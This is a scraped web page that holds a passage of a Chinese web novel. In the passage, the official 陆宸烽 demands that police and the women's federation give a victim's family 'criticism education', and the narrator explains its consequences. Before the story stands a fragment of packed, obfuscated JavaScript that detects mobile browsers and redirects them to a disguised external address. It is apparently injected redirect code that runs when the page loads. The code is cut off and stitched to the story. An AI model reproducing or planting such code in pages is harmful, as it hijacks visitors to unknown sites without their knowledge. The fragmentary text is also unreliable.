hile(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192682|180967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
好半天，陆宸烽冷笑：“好一个难如登天！”
他的声音冷得像冰块。
“回复京市海淀区派出所的同志，请他们务必联合妇联，对其家人进行批评教育。”
在那个时代，批评教育的分量，可比说服教育重多了。
派出所提议的说服教育，是一种思想工作的方式。
主要是由德高望重的同志，对楚星的家人摆事实，讲道理，说服其转变思想，接纳楚星这个受害女同志。
这种沟通是柔性的，非强制性的。目的是让对方理解认同并自愿接受。
陆宸烽所说的批评教育，则要严重得多，是由派出所联合妇联的同志以组织的名义，具有压力和要求，让对方必须接受批评，承认错误并改正。
两种教育方式最大的不同，就是说服教育，家属不接受，没有任何后果。
批评教育，本身就要形成带有负面评价的书面材料。在单位或者街道留下不好的影响。
家属如果态度恶劣，拒不接受，有可能会升级为更严重的处理后果。
甚至会影响全家的工作和前途。
这种记录，有可能在档案